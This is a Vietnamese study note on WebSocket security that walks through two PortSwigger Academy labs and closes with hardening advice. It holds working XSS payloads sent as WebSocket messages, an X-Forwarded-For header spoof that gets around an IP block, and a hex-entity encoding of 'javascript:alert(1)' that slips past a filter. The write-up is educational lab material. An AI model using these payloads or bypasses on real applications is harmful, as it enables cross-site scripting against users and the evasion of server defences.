Manipulating WebSocket Messages to Exploit Vulnerabilities

Đa số các lỗ hổng liên quan đến input đều có thể bị tìm thấy và khai thác thông qua việc intercept và chỉnh sửa các WebSocket message:

  • User input gửi đến server nếu không được xử lý đúng cách có thể dẫn đến SQL Injection hoặc XXE Injection.
  • Một số lỗ hổng không nhìn thấy được có thể bị phát hiện thông qua các kỹ thuật out-of-band.
  • Nếu payload của attacker được chuyển tiếp thông qua WebSocket đến các người dùng sử dụng ứng dụng thì có thể dẫn đến XSS attack hoặc các lỗ hổng client-side.

Ví dụ, giả sử một ứng dụng chat sử dụng WebSocket để gửi tin nhắn giữa trình duyệt và server. Khi người dùng nhập tin nhắn, sẽ có một message như sau gửi đến server:

{"message":"Hello Carlos"}

Nội dung này được chuyển đến cho một người dùng khác thông qua WebSocket và được render ra trình duyệt như sau:

<td>Hello Carlos</td>

Nếu không có các cơ chế xử lý input thì attacker có thể thực hiện XSS attack bằng cách gửi WebSocket message sau:

{"message":"<img src=1 onerror='alert(1)'>"}

Lab: Manipulating WebSocket Messages to Exploit Vulnerabilities

Mô tả lab:

  • Ứng dụng có tính năng chat sử dụng WebSocket.
  • Các tin nhắn được xem bởi nhân viên hỗ trợ một cách thường xuyên.
  • Mục tiêu là sử dụng WebSocket message để trigger hàm alert trong trình duyệt của nhân viên hỗ trợ.

Nếu gửi message:

{"message":"helo"}

Thì nó sẽ được render ra như sau:

<tr class="message">
	<th>You:</th>
	<td>hello</td>
</tr>

Điều này cho thấy ta có thể tấn công XSS.

Nếu gửi payload <img src=1 onerror='alert(1)'> thông qua trình duyệt thì sẽ bị encode:

{"message":"&lt;img src=1 onerror=&#39;alert(1)&#39;&gt;"}

Hàm encode ở trong client-side script:

function htmlEncode(str) {
	if (chatForm.getAttribute("encode")) {
		return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
			var lookup = {'\\': '&#x5c;', '\r': '&#x0d;', '\n': '&#x0a;', '"': '&quot;', '<': '&lt;', '>': '&gt;', "'": '&#39;', '&': '&amp;'};
			return lookup[c];
		});
	}
	return str;
}

Sử dụng Burp Repeater để gửi message sau:

{"message":"<img src=1 onerror='alert(1)'>"}

Server sẽ trả về message sau:

{"user":"You","content":"<img src=1 onerror='alert(1)'>"}

Message này sẽ được render ra HTML và hàm alert sẽ được thực thi (ở trên trình duyệt của chúng ta và của nhân viên hỗ trợ).

Tip

Có thể sử dụng Montoya API ở trong Bambda mode để filter WebSocket history có endpoint là /chat:

burp.api.montoya.http.message.requests.HttpRequest httpRequest = message.upgradeRequest();
return message.upgradeRequest().isInScope() && httpRequest.path().contains("/chat");

Manipulating the WebSocket Handshake to Exploit Vulnerabilities

Một số lỗ hổng có thể bị phát hiện và khai thác bằng cách thao túng các WebSocket handshake request. Những lổ hổng này thường liên quan đến các khuyết điểm bảo mật sau:

  • Tin cậy vào các HTTPS header chẳng hạn như X-Forwarded-For1 để thực hiện những hành động bảo mật.
  • Ngữ cảnh session của các WebSocket message được xác định thông qua handshake message.
  • Sử dụng các custom HTTP header.

Lab: Manipulating the WebSocket Handshake to Exploit Vulnerabilities

Mô tả lab:

  • Ứng dụng có tính năng chat sử dụng WebSocket.
  • Nó có sử dụng XSS filter nhưng có khuyết điểm.
  • Mục tiêu là sử dụng WebSocket message để trigger hàm alert trong trình duyệt của nhân viên hỗ trợ.

Khi sử dụng message là:

{"message":"<script>alert(1)</script>"}

Thì ta nhận được message sau từ server:

{"error":"Attack detected: JavaScript"}

Đồng thời, khi request đến endpoint /chat để dùng tính năng trò chuyện, server cũng trả về HTTP response như sau:

HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 29
 
"This address is blacklisted"

Có thể thấy, sau khi phát hiện ra việc tấn công XSS thì server đã chặn IP của chúng ta.

Hint

Có thể bypass việc chặn IP bằng cách sử dụng header X-Forwarded-For.

Intercept request đến endpoint /chat và thêm vào header X-Forwarded-For có giá trị là một IP nội bộ:

GET /chat HTTP/2
Host: 0a44007c0331f35480522b8300460016.web-security-academy.net
Cookie: session=WKkAfqDGZYjWyA4aRzB3hV0VuyW4yP13
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a44007c0331f35480522b8300460016.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
X-Forwarded-For: 192.168.0.0

Response có status code là 200.

Tương tự, sửa handshake request ở trong Burp Repeater để kết nối đến WebSocket server bằng cách thêm vào header X-Forwarded-For như sau:

GET /chat HTTP/1.1
Host: 0a44007c0331f35480522b8300460016.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Upgrade: websocket
Origin: https://0a44007c0331f35480522b8300460016.web-security-academy.net
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: session=CSH3CZ4otLTJ4Biu2WuniRIP8iSBvpeu
Sec-WebSocket-Key: EYvrg9awuC+iARq+NjpvdA==
X-Forwarded-For: 192.168.0.0
 
 

Note

Request phải có 2 dòng trống ở dưới cùng để là một request hợp lệ.

Thử lại với message sau:

{"message":"<body onload=alert(1)>"}

Server trả về message là:

{"error":"Attack detected: Event handler"}

Như vậy, thẻ <body> là được phép nhưng không được dùng event handler.

Tìm thấy thêm một số thẻ khác cũng hợp lệ: <iframe>, <svg>, <a>, <xss>, …

Ví dụ, message sau không bị server phát hiện:

{"message":"<iframe src='https://v953l8jj6es3lcfy1riomsbwange45su.oastify.com'>"}

Thử dùng message sau:

{"message":"<iframe src='javascript:alert(1)'>"}

Server phản hồi là:

{"error":"Attack detected: JavaScript"}

Thử encode thành Hex entity như sau:

{"message":"<iframe src='&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;'>"}

Server không phát hiện và tấn công XSS thành công.

How to Secure a WebSocket Connection

Để giảm thiểu những rủi ro bảo mật liên quan đến WebSocket, ta cần thực hiện những điều sau:

  • Sử dụng giao thức wss (WebSocket trên TLS).
  • Gán cứng URL của WebSocket endpoint và không chèn user input vào URL này.
  • Bảo vệ handshake message khỏi CSRF attack nhằm ngăn chặn cross-site WebSocket hijacking.
  • Vệ sinh dữ liệu trong message ở cả hai phía để tránh SQL InjectionXSS.
list
from outgoing([[Port Swigger - WebSockets Security Vulnerabilities]])
sort file.ctime asc

Resources

Footnotes

  1. là header mang địa chỉ IP của client kết nối đến server thông qua proxy server. Cú pháp: X-Forwarded-For: <client>, <proxy1>, <proxy2>. Tham khảo X-Forwarded-For - HTTP | MDN (mozilla.org)